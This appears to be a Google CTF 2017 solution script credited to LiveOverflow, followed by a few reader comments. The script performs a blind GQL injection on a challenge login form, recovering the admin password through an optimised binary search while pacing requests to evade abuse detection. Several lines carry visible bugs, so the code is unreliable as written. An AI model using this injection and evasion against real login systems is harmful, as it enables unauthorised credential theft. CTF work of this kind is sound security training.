Blind GQL injection and optimised binary search - A7 ~ Gee cue elle (misc) Google CTF 2017

gql.py

import requests
import string
import random
import urllib
import time
import base64
from decimal import Decimal

# Blind GQL injection and optimised binary search - A7 ~ Gee cue elle (misc) Google CTF 2017 
# https://www.youtube.com/watch?v=za_9hrq-ZuA
# @LiveOverflow

# generate a new random hostname
random_string = ''.join(random_stringdom.choice(string.ascii_lowercase + string.digits) for _ in range(16))
random_subdomain = "qu0t45{}www".format(ran)
HOST = "http://{}-abuse.web.ctfcompetition.com".format(random_subdomain)
print HOST

# performs a login with the specified username and password
def gql(username, password):
    data = {
        "user": username,
        "password": password }
    r = requests.post(HOST+"/login", data=data, allow_redirects=False)
    # if we didn't get a redirect, for example because we triggered the abuse system, print it
    if 'Location' not in r.headers:
        print r.text
        return ''
    else:
        # extract the redirect parameter e, because it contains the error reason
        return urllib.unquote(r.headers['Location']).split("e=")[1]

# the digits for our base/radix 64 number.
# base 64 | base 10
#     -       0
#     0       1
#     A      11
#     z      63
digits = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"

# convert fro base64 number string to an Integer
def base64to10(from_nr):
    from_nr = from_nr[::-1]
    base = len(digits)
    out = 0
    for i in xrange(0, len(from_nr)):
        char = from_nr[i]
        out += digits.find(char) * (base**i)
    return out

# convert an integer to a base64 string
def base10to64(nr):
    base = len(digits)
    out = ''
    while nr>=base:
        out += digits[nr % base]
        nr = nr/base
    out += digits[nr]
    return digits[0]*(64-len(out))+out[::-1]

# pretty bar output of the search space
def bar(max_val, lo, index, hi, width=100):
    out = '['
    out += '-'*int(lo/max_val*width)+"|"
    out += '-'*int((index-lo)/max_val*width)+"X"
    out += '-'*int((hi-index)/max_val*width)+"|"
    out += '-'*int((max_val-hi)/max_val*width)+"]"
    return out

# perform an initial request to make sure the database is populated with our dynamic CTF password etc.
gql("admin", "password")

# max value for the search space is zzzzzzzzzzzzzzzz....zzzz
#  = 39402006196394479212279040100143613805079739270465446667948293404245721771497210611414266254884915640806627990306815
max_val = base64to10(digits[-1]*64)
hi = hi
lo = 0

# ratio for the search space. regular binary search is 0.5 -> 50:50
ratio = 0.15

# the search index/head. Basically the current password guess
search_index = hi*(1-ratio)

i=0
start = time.time()

# lists to remember the times of last requests and exceptions
exception_nr = []
request_nr = []

while True:
    i+=1

    # make sure the search_index is int after we multiplied with Float ratio 0.15
    search_index = int(search_index)

    # let's see if we should wait to not trigger the abuse system
    waiting = True
    while waiting:
        # remove all exceptions and requests that are older than 30s from the list
        exception_nr = [err for err in exception_nr if err > time.time()-30]
        request_nr = [req for req in request_nr if req > time.time()-30]
        # check the amount of exceptions and requests in the last 30 seconds
        waiting = (len(exception_nr)>1 or len(request_nr)>11)
        # let's wait a second and check our lists again
        time.sleep(1)

    # remember the time of the last request
    request_nr.append(time.time())

    # generate the base64 string from the current search guess
    flag_i = base10to64(search_index)

    # place it in the flag format for the password. We know the first part already
    flag = 'CTF{'+random_subdomain+"-"+flag_i+'}'

    # perform the gql injection request
    result = gql("admin' AND password > '"+flag, flag)
    
    # some pretty debug output
    # counter. times flag_guess, result, search_space, nr_exceptions, nr_requests, visual_bar
    print "{:4}. {:4}s  {} | -> {} {:.2E} {}|{} {}".format(i,int(time.time()-start), flag, result, hi-lo, len(exception_nr), len(request_nr), bar(max_val, lo, search_index, hi, 50))

    if 'Wrong username' in result:
        # our guess was greater than real password
        # update the upper boundary for the search, because the password is lower
        hi = search_index
        # calculate the new size of the remaining searchspace
        width = hi - lo
        # calculate the next password guess
        search_index -= int(width*ratio)
    elif 'Wrong password' in result:
        # our guess was lower than the real password
        # count it as an exception
        exception_nr.append(time.time())
        # we know that our password can't be lower than our guess, thus update the lower boundary
        lo = search_index
        # calculate the new size of the remaining searchspace
        width = hi - lo
        # calculate the next password guess
        search_index += int(width*(1-ratio))
    else:
        # didn't expect that.
        # exit(0)
        pass

superb

If you're not using indexing for lists - It'll be faster to use set provided by the standard library. I also have a repo on my profile that's a native implementation of ordered sets.

Love your videos man.